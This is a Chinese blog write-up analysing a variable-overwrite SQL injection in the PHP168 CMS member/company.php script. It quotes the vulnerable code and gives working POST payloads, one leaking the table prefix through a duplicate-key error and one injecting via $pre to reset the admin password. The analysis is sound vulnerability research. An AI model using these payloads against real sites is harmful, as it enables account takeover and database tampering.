变量覆盖导致的sql注入
May 30, 2018 09:54 · 308 words · 2 minute read
.
关键代码
php168feilei/member/company.php
<?php
header("content-type:text/html;charset=utf-8");
require(dirname(__FILE__)."/"."global.php");
require(dirname(__FILE__)."/../"."php168/all_area.php");
if($job=='edit'){
if(!$lfjid){
showerr("你还没登录");
}
// echo $lfjuid;
$cpDB=$db->get_one("SELECT * FROM `{$pre}memberdata_1` WHERE uid='$lfjuid'");
if($step==2){
foreach( $_POST AS $key=>$value){
$_POST[$key]=filtrate($value); //filtrate函数是一个过滤特殊字符的函数
}
@extract($_POST);
if(!$cpname){showerr("企业名称不能为空");}
if(!$cptype){showerr("请选择企业性质");}
if(!$cptrade){showerr("请选择企业所属行业");}
if(!$cpfounder){showerr("企业法人不能为空");}
if(!$cptelephone){showerr("公司电话不能为空");}
if(!$cpaddress){showerr("公司地址不能为空");}
if(!$cpcity){showerr("请选择企业所在城市");}
if(!$cpcode){showerr("组织机构代码不能为空");}
// if(!ereg("^[0-9]{8}",$cpcode)){
// showerr("请认真填写组织机构代码"); //如果不想严格控制机构码,请把这一行删除
// }
if(!$cpDB){
// echo $lfjuid;
// echo "sjdkashdlka";
$db->query("INSERT INTO `{$pre}memberdata_1` ( `uid` , `cpname` , `cplogo` , `cptype` , `cptrade` , `cpproduct` , `cpcity` , `cpfoundtime` , `cpfounder` , `cpmannum` , `cpmoney` , `cpcode` , `cppermit` , `cpweb` , `cppostcode` , `cptelephone` , `cpfax` , `cpaddress` ,`cplinkman`,`cpmobphone`,`cpqq`,`cpmsn`) VALUES ( '$lfjuid','$cpname','$cplogo','$cptype','$cptrade','$cpproduct','$cpcity','$cpfoundtime','$cpfounder','$cpmannum','$cpmoney','$cpcode','$cppermit','$cpweb','$cppostcode','$cptelephone','$cpfax','$cpaddress','$cplinkman','$cpmobphone','$cpqq','$cpmsn')");
$grouptype=$webdb[AutoPassCompany]?'1':'-1';
$db->query("UPDATE {$pre}memberdata SET grouptype='$grouptype' WHERE uid='$lfjuid'");
// refreshto("company.php?job=edit","你的资料已经提交",1);
}else{
echo "2";
$db->query("UPDATE {$pre}memberdata_1 SET cpname='$cpname',cplogo='$cplogo',cptype='$cptype',cptrade='$cptrade',cpproduct='$cpproduct',cpcity='$cpcity',cpfoundtime='$cpfoundtime',cpfounder='$cpfounder',cpmannum='$cpmannum',cpmoney='$cpmoney',cpcode='$cpcode',cppermit='$cppermit',cpweb='$cpweb',cppostcode='$cppostcode',cptelephone='$cptelephone',cpfax='$cpfax',cpaddress='$cpaddress',cplinkman='$cplinkman',cpmobphone='$cpmobphone',cpqq='$cpqq',cpmsn='$cpmsn' WHERE uid='$lfjuid'");
// refreshto("company.php?job=edit","修改成功",1);
}
}
$cptype[$cpDB[cptype]]=' selected ';
}elseif($job=='view'){
$cpDB=$db->get_one("SELECT * FROM `{$pre}memberdata_1` WHERE uid='$uid'");
if(!$cpDB){
showerr("资料不存在!!");
}
}
// require(dirname(__FILE__)."/"."head.php");
// require(dirname(__FILE__)."/"."template/company.htm");
// require(dirname(__FILE__)."/"."foot.php");
?>
第13行
//此函数是将数组中的key作为变量名,value作为变量的值。容易出现变量覆盖。
@extract($_POST);
继续往下看这一段
else{
echo "2";
$db->query("UPDATE {$pre}memberdata_1 SET cpname='$cpname',cplogo='$cplogo',cptype='$cptype',cptrade='$cptrade',cpproduct='$cpproduct',cpcity='$cpcity',cpfoundtime='$cpfoundtime',cpfounder='$cpfounder',cpmannum='$cpmannum',cpmoney='$cpmoney',cpcode='$cpcode',cppermit='$cppermit',cpweb='$cpweb',cppostcode='$cppostcode',cptelephone='$cptelephone',cpfax='$cpfax',cpaddress='$cpaddress',cplinkman='$cplinkman',cpmobphone='$cpmobphone',cpqq='$cpqq',cpmsn='$cpmsn' WHERE uid='$lfjuid'");
refreshto("company.php?job=edit","修改成功",1);
}
这里的update语句用到了一个变量\$pre,这个变量是网站建设者在建设网站时设定的表前缀(默认是p8_),注入点就是这里。
我们可以利用上面的变量覆盖漏洞,将\$pre的值构造为sql语句。这样我们就可以随意更改表中的数据。
实现
在利用这个漏洞的时候我们必须要知道网站建设者自定义的表前缀是什么。
获取表前缀利用的是下面这段代码
$db->query("INSERT INTO `{$pre}memberdata_1` ( `uid` , `cpname` , `cplogo` , `cptype` , `cptrade` , `cpproduct` , `cpcity` , `cpfoundtime` , `cpfounder` , `cpmannum` , `cpmoney` , `cpcode` , `cppermit` , `cpweb` , `cppostcode` , `cptelephone` , `cpfax` , `cpaddress` ,`cplinkman`,`cpmobphone`,`cpqq`,`cpmsn`) VALUES ( '$lfjuid','$cpname','$cplogo','$cptype','$cptrade','$cpproduct','$cpcity','$cpfoundtime','$cpfounder','$cpmannum','$cpmoney','$cpcode','$cppermit','$cpweb','$cppostcode','$cptelephone','$cpfax','$cpaddress','$cplinkman','$cpmobphone','$cpqq','$cpmsn')");
这里的insert语句会向表中存储信息,表里的uid是唯一的,所以我们构造一个相同的uid去尝试存储,那么数据库就会报错,报错的内容中含有表名,这样就可以获取表前缀了。
如果想要执行insert语句,还需要满足条件
if(!$cpDB){
这里还是利用上面的变量覆盖将$cpDB覆盖就好。
payload
http://127.0.0.1/cms/php168/member/company.php?job=edit&step=2
POST数据
cpname=1&cptype=1&cptrade=1&cpfounder=1&cptelephone=1&cpaddress=1&cpcity=1&cpcode=1&lfjuid=2&cpDB=0
报错内容
数据库连接出错:INSERT INTO `p8_memberdata_1` ( `uid` , `cpname` , `cplogo` , `cptype` , `cptrade` , `cpproduct` , `cpcity` , `cpfoundtime` , `cpfounder` , `cpmannum` , `cpmoney` , `cpcode` , `cppermit` , `cpweb` , `cppostcode` , `cptelephone` , `cpfax` , `cpaddress` ,`cplinkman`,`cpmobphone`,`cpqq`,`cpmsn`) VALUES ( '2','1','','1','1','','1','','1','','','1','','','','1','','1','','','','')
Duplicate entry '2' for key 'uid'
1062
现在已经获取表前缀为p8_,解下来就可以更改admin的密码了。
payload
http://127.0.0.1/cms/php168/member/company.php?job=edit&step=2
POST数据
cpname=1&cptype=1&cptrade=1&cpfounder=1&cptelephone=1&cpaddress=1&cpcity=1&cpcode=1&lfjuid=2&cpDB=1&pre=/**/p8_members/**/set/**/password=md5(12345)/**/where/**/uid=1%23
这样就可以将admin的密码重置为12345了。
意外发现
在php5.2.17版本下,php会自动的将GET和POST的key作为变量名,将value赋给该变量。 例: 45.php的代码
<?php
echo $step;
url
127.0.0.1/45.php?step=222
输出结果为222
在阅读/php158/inc/common.inc.php的代码时发现42到47行。
foreach($_POST as $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET as $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
这里也是存在变量覆盖的,不过跟进\$pre变量后,发现\$pre的初始化在common.inc.php的第112-117行,不然的话,这段代码也会造成注入。
源码 http://down.admin5.com/php/1265.html
php语法
<?php
!0 && $a=1;
echo $a;
//输出为1
!1 && $a=1;
echo $a;
//输出为空
>